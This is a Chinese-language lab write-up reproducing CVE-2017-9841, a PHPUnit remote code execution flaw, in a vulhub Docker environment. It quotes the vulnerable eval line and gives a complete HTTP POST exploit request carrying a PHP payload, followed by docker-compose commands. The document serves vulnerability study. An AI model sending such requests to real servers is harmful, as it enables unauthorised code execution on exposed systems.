声明
好好学习,天天向上
漏洞描述
composer是php包管理工具,使用composer安装扩展包将会在当前目录创建一个vendor文件夹,并将所有文件放在其中。通常这个目录需要放在web目录外,使用户不能直接访问。
phpunit是php中的单元测试工具,其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php文件有如下代码:
eval('?>'.file_get_contents('php://input'));
如果该文件被用户直接访问到,将造成远程代码执行漏洞。
影响范围
4.8.19 ~ 4.8.27
5.0.10 ~ 5.6.2
复现过程
这里使用5.6.2版本
使用vulhub
/app/vulhub-master/phpunit/CVE-2017-9841
使用docker启动
docker-compose build
docker-compose up -d
环境启动后,访问
http://192.168.239.129:8080
访问
http://192.168.239.129:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
抓包
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 192.168.239.129:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 18
<?php phpinfo();?>
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down